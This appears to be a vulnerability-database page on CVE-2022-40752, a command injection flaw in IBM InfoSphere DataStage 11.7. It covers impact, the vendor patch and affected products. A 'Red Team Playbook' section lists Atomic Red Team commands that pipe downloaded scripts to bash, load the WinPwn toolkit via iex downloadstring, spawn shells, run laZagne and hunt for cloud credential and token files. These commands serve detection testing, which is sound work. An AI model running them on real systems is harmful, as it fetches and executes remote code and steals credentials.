CVE-2022-40752
Overview
This vulnerability is a command injection flaw in IBM InfoSphere DataStage 11.7 caused by improper neutralization of special elements within input data. The root cause lies in insufficient input validation mechanisms that fail to sanitize user-supplied input, allowing malicious commands to be injected and executed. The affected components include IBM InfoSphere Information Server and its cloud variant, both at version 11.7.
Vulnerability Description
IBM InfoSphere DataStage 11.7 is vulnerable to a command injection vulnerability due to improper neutralization of special elements. IBM X-Force ID: 236687.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary commands with the privileges of the application. No user interaction or prior authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to full system compromise, including data theft, service disruption, or lateral movement within the environment. The vulnerability’s critical severity (CVSS 9.8) reflects the high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
IBM has released security updates for InfoSphere Information Server version 11.7 to address this command injection vulnerability, detailed in their advisory at https://www.ibm.com/support/pages/node/6833566. Administrators should apply the provided patches promptly to both on-premises and cloud deployments. No alternative workarounds are specified; adherence to the vendor’s patch instructions is required to remediate the issue effectively.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability present in IBM InfoSphere DataStage 11.7 arises from inadequate handling of special elements within user inputs. This flaw allows an attacker to execute arbitrary commands on the host operating system, potentially leading to unauthorized access and control over the system. The vulnerability stems from the software's failure to properly sanitize inputs, enabling malicious users to craft input strings that can manipulate command execution processes. This oversight in input validation is particularly concerning as it can be exploited without requiring advanced skills, making it accessible to a broader range of attackers.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving the submission of specially crafted data to the application. For instance, an attacker could leverage a web interface or API endpoint that processes user input, injecting commands that the system would execute without proper validation. Scenarios may include an attacker sending a payload that includes shell commands, which, if executed, could lead to data exfiltration, system compromise, or further attacks within the network. The simplicity of this attack method, combined with the high privileges often associated with data processing applications, significantly amplifies the risk of exploitation.
The potential real-world impact of this vulnerability is substantial, especially for organizations relying on IBM InfoSphere DataStage for critical data integration and processing tasks. Successful exploitation could lead to severe business risks, including data breaches, loss of sensitive information, and disruption of services. The ramifications could extend beyond immediate financial losses, potentially damaging an organization's reputation and eroding customer trust. Furthermore, regulatory implications may arise if sensitive data is compromised, leading to legal penalties and compliance issues. Given the high CVSS score associated with this vulnerability, organizations must prioritize its remediation to safeguard their assets.
To detect and mitigate the risks associated with this command injection vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of security by filtering out malicious input before it reaches the application. It is also critical to ensure that all user inputs are properly sanitized and validated, adhering to the principle of least privilege when configuring application permissions. Keeping the software updated with the latest security patches is essential to protect against known vulnerabilities.
In conclusion, the command injection vulnerability in IBM InfoSphere DataStage 11.7 poses a significant threat to organizations that utilize this software for data processing. The ease of exploitation, coupled with the potential for severe consequences, necessitates immediate attention from cybersecurity teams. By implementing robust detection and mitigation strategies, organizations can effectively reduce their risk exposure and protect their critical data assets from malicious actors.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ibm | Infosphere Information Server | 11.7 |
cpe:2.3:a:ibm:infosphere_information_server:11.7:*:*:*:*:*:*:*
|
|
|
Ibm | Infosphere Information Server On Cloud | 11.7 |
cpe:2.3:a:ibm:infosphere_information_server_on_cloud:11.7:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-40752 |
| ibm.com |
GitHub CVE
vendor-advisory
|
https://www.ibm.com/support/pages/node/6833566 |
| exchange.xforce.ibmcloud.com |
GitHub CVE
vdb-entry
|
https://exchange.xforce.ibmcloud.com/vulnerabilities/236687 |